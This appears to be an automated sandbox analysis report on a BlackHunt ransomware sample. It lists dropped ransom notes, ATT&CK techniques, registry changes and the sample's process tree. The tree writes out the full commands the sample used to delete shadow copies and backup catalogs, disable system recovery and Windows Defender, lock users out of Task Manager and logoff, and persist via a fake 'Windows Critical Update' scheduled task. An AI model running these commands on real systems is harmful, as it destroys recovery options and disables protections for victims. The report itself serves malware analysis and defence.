File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Maceio	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.common_5.5.0.165303.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-remote.xml	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\applet\#BlackHunt_Private.key	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_ReadMe.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_Private.key	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_Private.key	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#BlackHunt_ReadMe.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jre7\bin\plugin2\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-output2.xml	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Maldives	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\Welcome.html	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core_0.10.100.v20140424-2042.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_ja.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_Private.key	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler-common.xml	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\symbol.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Monterrey	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Irkutsk	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Indiana\Petersburg	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Nauru	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-dialogs.xml	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\sunjce_provider.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\weblink.api	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_zh_CN.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.scheduler.nl_zh_4.4.0.v20140623020002.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\NEWS.txt	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\license.html	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.configuration_5.5.0.165303.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.commands_5.5.0.165303.jar	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\messages.properties	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Yekaterinburg	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\#BlackHunt_ReadMe.hta	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1152	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
480	vssadmin.exe
2944	vssadmin.exe
1056	vssadmin.exe
1728	vssadmin.exe
3532	vssadmin.exe
276	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2736	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3672	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2320	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeRestorePrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeBackupPrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeTakeOwnershipPrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeAuditPrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeSecurityPrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeIncBasePriorityPrivilege	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Token: SeBackupPrivilege	1192	cmd.exe
Token: SeRestorePrivilege	1192	cmd.exe
Token: SeAuditPrivilege	1192	cmd.exe
Token: SeBackupPrivilege	1528	wbengine.exe
Token: SeRestorePrivilege	1528	wbengine.exe
Token: SeSecurityPrivilege	1528	wbengine.exe
Token: SeSecurityPrivilege	3372	wevtutil.exe
Token: SeBackupPrivilege	3372	wevtutil.exe
Token: SeSecurityPrivilege	5084	wevtutil.exe
Token: SeSecurityPrivilege	3560	wevtutil.exe
Token: SeBackupPrivilege	5084	wevtutil.exe
Token: SeBackupPrivilege	3560	wevtutil.exe
Token: SeSecurityPrivilege	3432	wevtutil.exe
Token: SeBackupPrivilege	3432	wevtutil.exe
Token: SeSecurityPrivilege	2424	wevtutil.exe
Token: SeBackupPrivilege	2424	wevtutil.exe
Token: SeDebugPrivilege	2736	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 2176	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	156
PID 2196 wrote to memory of 2176	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	156
PID 2196 wrote to memory of 2176	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	156
PID 2196 wrote to memory of 2176	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	156
PID 2196 wrote to memory of 2132	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	154
PID 2196 wrote to memory of 2132	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	154
PID 2196 wrote to memory of 2132	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	154
PID 2196 wrote to memory of 2132	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	154
PID 2196 wrote to memory of 2124	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	152
PID 2196 wrote to memory of 2124	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	152
PID 2196 wrote to memory of 2124	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	152
PID 2196 wrote to memory of 2124	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	152
PID 2176 wrote to memory of 2512	2176	cmd.exe	150
PID 2176 wrote to memory of 2512	2176	cmd.exe	150
PID 2176 wrote to memory of 2512	2176	cmd.exe	150
PID 2196 wrote to memory of 2788	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	149
PID 2196 wrote to memory of 2788	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	149
PID 2196 wrote to memory of 2788	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	149
PID 2196 wrote to memory of 2788	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	149
PID 2196 wrote to memory of 2616	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	146
PID 2196 wrote to memory of 2616	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	146
PID 2196 wrote to memory of 2616	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	146
PID 2196 wrote to memory of 2616	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	146
PID 2196 wrote to memory of 2644	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	145
PID 2196 wrote to memory of 2644	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	145
PID 2196 wrote to memory of 2644	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	145
PID 2196 wrote to memory of 2644	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	145
PID 2196 wrote to memory of 2572	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	143
PID 2196 wrote to memory of 2572	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	143
PID 2196 wrote to memory of 2572	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	143
PID 2196 wrote to memory of 2572	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	143
PID 2124 wrote to memory of 2880	2124	cmd.exe	141
PID 2124 wrote to memory of 2880	2124	cmd.exe	141
PID 2124 wrote to memory of 2880	2124	cmd.exe	141
PID 2196 wrote to memory of 2712	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	140
PID 2196 wrote to memory of 2712	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	140
PID 2196 wrote to memory of 2712	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	140
PID 2196 wrote to memory of 2712	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	140
PID 2196 wrote to memory of 2552	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	139
PID 2196 wrote to memory of 2552	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	139
PID 2196 wrote to memory of 2552	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	139
PID 2196 wrote to memory of 2552	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	139
PID 2132 wrote to memory of 3048	2132	cmd.exe	137
PID 2132 wrote to memory of 3048	2132	cmd.exe	137
PID 2132 wrote to memory of 3048	2132	cmd.exe	137
PID 2196 wrote to memory of 2580	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	136
PID 2196 wrote to memory of 2580	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	136
PID 2196 wrote to memory of 2580	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	136
PID 2196 wrote to memory of 2580	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	136
PID 2196 wrote to memory of 2800	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	30
PID 2196 wrote to memory of 2800	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	30
PID 2196 wrote to memory of 2800	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	30
PID 2196 wrote to memory of 2800	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	30
PID 2196 wrote to memory of 1192	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	133
PID 2196 wrote to memory of 1192	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	133
PID 2196 wrote to memory of 1192	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	133
PID 2196 wrote to memory of 1192	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	133
PID 2196 wrote to memory of 2532	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	131
PID 2196 wrote to memory of 2532	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	131
PID 2196 wrote to memory of 2532	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	131
PID 2196 wrote to memory of 2532	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	131
PID 2196 wrote to memory of 2416	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	128
PID 2196 wrote to memory of 2416	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	128
PID 2196 wrote to memory of 2416	2196	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe	128

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe
"C:\Users\Admin\AppData\Local\Temp\34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\34f2c8107643bae73e8fdfdc3f17185da3862e8fb9e6500d665b1324ced3cc39.exe" /F
  2⤵
  PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
